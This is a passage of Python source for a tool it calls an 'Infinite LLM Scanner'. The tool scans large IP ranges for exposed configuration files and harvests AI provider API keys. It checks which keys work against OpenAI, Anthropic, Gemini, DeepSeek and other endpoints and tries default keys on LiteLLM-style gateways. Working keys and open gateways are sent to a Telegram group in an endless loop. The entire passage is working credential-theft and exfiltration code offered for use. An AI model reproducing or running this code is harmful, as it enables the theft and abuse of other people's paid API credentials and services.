print(f'\\n[NIANSUH] Scanning {len(targets)} targets on port 3000...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n all_keys = []\n seen_keys = load_seen_keys()\n done = 0\n\n async with aiohttp.ClientSession(timeout=SCAN_TIMEOUT, connector=connector) as sess:\n coros = [scan_niansuh_target(sess, t['ip'], t['port'], sem) for t in targets]\n for coro in asyncio.as_completed(coros):\n results = await coro\n all_keys.extend(results)\n done += 1\n if done % 200 == 0:\n print(f' [{done}/{len(targets)}] keys_so_far={len(all_keys)}')\n\n # Filter to new keys only\n new_keys = [k for k in all_keys if k['key_value'] not in seen_keys]\n for k in new_keys:\n seen_keys.add(k['key_value'])\n save_seen_keys(seen_keys)\n\n print(f' Found {len(all_keys)} total, {len(new_keys)} new')\n return new_keys\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 2: VALIDATE API KEYS\n# ═══════════════════════════════════════════════════════════════\n\nVALIDATORS = {\n 'OpenAI': {\n 'endpoint': 'https://api.openai.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'Anthropic': {\n 'endpoint': 'https://api.anthropic.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'OpenRouter': {\n 'endpoint': 'https://openrouter.ai/api/v1/models',\n 'header': '',\n 'prefix': '',\n },\n 'Gemini': {\n 'endpoint': None, # Uses query param ?key=\n 'header': '',\n 'prefix': '',\n },\n 'DeepSeek': {\n 'endpoint': 'https://api.deepseek.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'HuggingFace': {\n 'endpoint': 'https://huggingface.co/api/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n}\n\n\nasync def validate_key(session, key_entry: dict, sem) -> dict:\n '''Validate an API key by hitting the provider's models endpoint.'''\n k_type = key_entry.get('key_type', '')\n k_val = key_entry.get('key_value', '')\n result = {**key_entry, 'status': 'untested', 'models': [], 'validated_at': datetime.now().isoformat()}\n\n # Map key type to validator\n provider = k_type.split('_')[0] if '_' in k_type else k_type\n if provider not in VALIDATORS and k_type not in VALIDATORS:\n provider = 'OpenAI' # Default\n\n validator_key = k_type if k_type in VALIDATORS else provider\n if validator_key not in VALIDATORS:\n validator_key = provider if provider in VALIDATORS else 'OpenAI'\n val_config = VALIDATORS.get(validator_key, VALIDATORS['OpenAI'])\n\n async with sem:\n try:\n endpoint = val_config['endpoint']\n header = val_config['header']\n prefix = val_config['prefix']\n\n if validator_key == 'Gemini':\n # Gemini uses API key in query param\n ep = f'https://generativelanguage.googleapis.com/v1beta/models?key={k_val}'\n headers = {}\n elif validator_key == 'OpenRouter':\n # OpenRouter doesn't require auth for model list\n ep = endpoint\n headers = {}\n else:\n ep = endpoint\n headers = {'Content-Type': 'application/json'}\n if header:\n headers[header] = f'{prefix}{k_val}'\n\n async with session.get(ep, headers=headers, timeout=KEY_VALIDATE_TIMEOUT) as resp:\n if resp.status == 200:\n data = await resp.json()\n models = []\n if validator_key == 'OpenAI' or validator_key == 'DeepSeek':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Anthropic':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Gemini':\n models = [m.get('name', '').replace('models/', '') for m in data.get('models', [])[:50]]\n elif validator_key == 'OpenRouter':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n result['status'] = 'valid'\n result['models'] = models\n elif resp.status == 401:\n result['status'] = 'invalid'\n else:\n result['status'] = f'http_{resp.status}'\n\n except asyncio.TimeoutError:\n result['status'] = 'timeout'\n except Exception as e:\n result['status'] = f'error_{str(e)[:30]}'\n\n return result\n\n\nasync def run_key_validation(keys: list, concurrent: int = 30) -> list:\n if not keys:\n return []\n print(f'\\n[KEY_VALIDATE] Validating {len(keys)} keys...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=True, enable_cleanup_closed=True)\n validated = []\n\n async with aiohttp.ClientSession(timeout=KEY_VALIDATE_TIMEOUT, connector=connector) as sess:\n coros = [validate_key(sess, k, sem) for k in keys]\n for coro in asyncio.as_completed(coros):\n r = await coro\n validated.append(r)\n if r['status'] == 'valid':\n print(f' [VALID] {r[\"key_type\"]}: {r[\"key_value\"][:40]}... ({len(r[\"models\"])} models)')\n\n return validated\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 3: LLM GATEWAY DETECTION\n# ═══════════════════════════════════════════════════════════════\n\nasync def test_lite_llm_gate(session, ip, port, sem) -> dict | None:\n '''Test a LiteLLM gateway with default key.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'LiteLLM',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n # Test models endpoint\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def test_generic_gate(session, ip, port, sem) -> dict | None:\n '''Test a generic OpenAI-compatible gateway.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'Generic',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def run_gate_detection(targets: list, concurrent: int = 100) -> list:\n print(f'\\n[GATE_DETECT] Testing {len(targets)} LLM gateways...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n results = []\n done = 0\n\n async with aiohttp.ClientSession(timeout=AUTH_TIMEOUT, connector=connector) as sess:\n coros = []\n for t in targets:\n if t.get('port') in [4000, 4001, 8000]:\n coros.append(test_lite_llm_gate(sess, t['ip'], t['port'], sem))\n else:\n coros.append(test_generic_gate(sess, t['ip'], t['port'], sem))\n\n for coro in asyncio.as_completed(coros):\n r = await coro\n if r and r.get('status') == 'models_found':\n results.append(r)\n done += 1\n if done % 100 == 0:\n print(f' [{done}/{len(targets)}] working_gates={len(results)}')\n\n print(f' Working gates: {len(results)}')\n return results\n\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM REPORTER\n# ═══════════════════════════════════════════════════════════════\n\nasync def report_key(key_entry: dict):\n '''Send validated key to Telegram group.'''\n provider = classify_provider(key_entry['key_type'], key_entry['key_value'])\n msg = format_key_message(\n provider=provider,\n key_value=key_entry['key_value'],\n source_url=key_entry.get('source_url', f\"http://{key_entry['ip']}:{key_entry['port']}{key_entry.get('source_path','/')}\"),\n models=key_entry.get('models', []),\n key_type=key_entry.get('key_type', 'api_key'),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f' [TG SENT] {provider} key to Telegram')\n return ok\n\n\nasync def report_gate(gate_entry: dict):\n '''Send working LLM gateway to Telegram group.'''\n msg = format_gate_message(\n ip=gate_entry['ip'],\n port=gate_entry['port'],\n framework=gate_entry.get('framework', 'LiteLLM'),\n working_key=gate_entry.get('working_key', ''),\n models=gate_entry.get('models', []),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f\" [TG SENT] {gate_entry['framework']} gate to Telegram\")\n return ok\n\n\ndef classify_provider(key_type: str, key_value: str) -> str:\n '''Classify key by its value format.'''\n v = key_value.strip()\n if v.startswith('AIzaSy'):\n return 'Gemini'\n if v.startswith('sk-or-v1-'):\n return 'OpenRouter'\n if v.startswith('sk-ant-api03-'):\n return 'Anthropic'\n if v.startswith('sk-proj-'):\n return 'OpenAI'\n if v.startswith('sk-svcacct-'):\n return 'OpenAI'\n if v.startswith('hf_'):\n return 'HuggingFace'\n if v.startswith('sk-') and len(v) == 35 and all(c in 'abcdef0123456789' for c in v[3:]):\n return 'DeepSeek'\n if v.startswith('sk-'):\n return 'OpenAI'\n if key_type in ('OpenRouter', 'Anthropic', 'Gemini', 'DeepSeek', 'HuggingFace'):\n return key_type\n return 'API_Key'\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN INFINITE LOOP\n# ═══════════════════════════════════════════════════════════════\n\nasync def infinite_loop(args):\n '''Main infinite scanning loop.'''\n cycle = 0\n total_keys_found = 0\n total_gates_found = 0\n\n print(f\"\\n{'='*70}\")\n print(f' INFINITE LLM SCANNER')\n print(f' Output: {OUTPUT_DIR}')\n print(f' Telegram: {TELEGRAM_CHAT_ID}')\n print(f\" Mode: {'NIANSUH_ONLY' if args.niansuh_only else ('GATE_ONLY' if args.gate_only else 'FULL')}\")\n print(f\"{'='*70}\\n\")\n\n while True:\n cycle += 1\n cycle_start = time.time()\n print(f'\\n[{'='*60}]')\n print(f\" CYCLE {cycle} — {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\")\n print(f\"[{'='*60}]\")\n\n try:\n # ── Generate IP batch ──\n targets = []\n \n # Option 1: ZMap scan for fresh IPs\n if getattr(args, 'zmap', False):\n print(f'\\n[ZMAP] Starting port scan...')\n ports_str = getattr(args, 'zmap_ports', '3000,4000,8000')\n ports = [int(p.strip()) for p in ports_str.split(',')]\n bandwidth = getattr(args, 'zmap_bandwidth', '10M')\n \n zmap_results = scan_ports_with_zmap(\n ports=ports,\n batch_size=IPS_PER_BATCH,\n bandwidth=bandwidth\n )\n \n # Convert ZMap results to targets\n targets = zmap_to_targets(zmap_results)\n print(f' ZMap collected {len(targets)} total targets')\n \n # Option 2: Fall back to generated IPs from cloud ranges\n if not targets:\n print(f'\\n[GENERATE] Building IP batch from cloud ranges...')\n targets = generate_ip_batch(count=IPS_PER_BATCH)\n print(f' Generated {len(targets)} new targets')\n\n # ── Phase 1: Niansuh Config Scan ──\n if not args.gate_only:\n keys = await run_niansuh_scan(targets, concurrent=SCAN_CONCURRENT)\n if keys:\n # ── Validate keys ──\n validated = await run_key_validation(keys, concurrent=30)\n valid_keys = [v for v in validated if v['status'] == 'valid']\n\n for vk in valid_keys:\n save_found_key(vk)\n await report_key(vk)\n total_keys_found += 1\n print(f\" [*] NEW WORKING KEY: {vk['key_type']} from {vk['ip']}\")\n\n print(f' Valid keys this cycle: {len(valid_keys)}/{len(keys)}')\n print(f' Total keys found: {total_keys_found}')\n\n # ── Phase 2: LLM Gateway Scan ──\n if not args.niansuh_only:\n # For gate detection, also use targets but on various ports\n gate_targets = [\n {'ip': t['ip'], 'port': 4000}\n for t in targets[:500] # Subset for gates\n ]\n # Add some port 3000 targets too\n gate_targets += [\n {'ip': t['ip'], 'port': 3000}\n for t in targets[:200]\n ]\n\n gates = await run_gate_detection(gate_targets, concurrent=AUTH_CONCURRENT)\n for g in gates:\n save_found_gate(g)\n await report_gate(g)\n total_gates_found += 1\n print(f\" [*] NEW WORKING GATE: {g['framework']} at {g['ip']}:{g['port']} key={g['working_key']}\")\n\n print(f' Gates this cycle: {len(gates)}')\n print(f' Total gates found: {total_gates_found}')\n\n except Exception as e:\n print(f'\\n [ERROR] Cycle {cycle} failed: {e}')\n import traceback\n traceback.print_exc()\n\n cycle_time = time.time() - cycle_start\n print(f'\\n Cycle {cycle} done in {cycle_time:.1f}s')\n print(f' Sleeping {CYCLE_SLEEP}s before next cycle...')\n\n # Save state\n state = {\n 'cycle': cycle,\n 'total_keys': total_keys_found,\n 'total_gates': total_gates_found,\n 'last_run': datetime.now().isoformat(),\n }\n json.dump(state, open(STATE_FILE, 'w'), indent=2)\n\n await asyncio.sleep(CYCLE_SLEEP)\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN\n# ═══════════════════════════════════════════════════════════════\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Infinite LLM Gateway + Key Scanner')\n parser.add_argument('--test', action='store_true', help='Test mode (1 cycle only)')\n parser.add_argument('--niansuh-only', action='store_true', help='Only scan config files')\n parser.add_argument('--gate-only', action='store_true', help='Only test LLM gateways')\n parser.add_argument('--batch-size', type=int, default=3000, help='IPs per cycle')\n parser.add_argument('--zmap', action='store_true', help='Use ZMap to scan for open ports')\n parser.add_argument('--zmap-ports', type=str, default='3000,4000,8000',\n help='Comma-separated ports for ZMap scan (default: 3000,4000,8000)')\n parser.add_argument('--zmap-bandwidth', type=str, default='10M',\n help='ZMap bandwidth limit (default: 10M)')\n args = parser.parse_args()\n\n IPS_PER_BATCH = args.batch_size\n\n # Check ZMap availability if --zmap flag used\n if args.zmap:\n if not is_zmap_available():\n print('[ERROR] ZMap not found! Install from: https://github.com/zmap/zmap')\n print(' Ubuntu/Debian: sudo apt install zmap')\n print(' macOS: brew install zmap')\n print(' From source: git clone https://github.com/zmap/zmap.git')\n sys.exit(1)\n print(f'[ZMAP] Enabled - will scan ports: {args.zmap_ports}')\n\n if args.test:\n # Run one cycle only\n print('[TEST MODE] Running single cycle...')\n asyncio.run(infinite_loop(args))\n else:\n # Infinite loop\n print('[INFINITE MODE] Starting infinite loop (Ctrl+C to stop)...')\n try:\n asyncio.run(infinite_loop(args))\n except KeyboardInterrupt:\n print('\\n\\n[STOPPED] Scanner stopped by user.')\n print(f'State saved to: {STATE_FILE}')\n sys.exit(0)"}}}}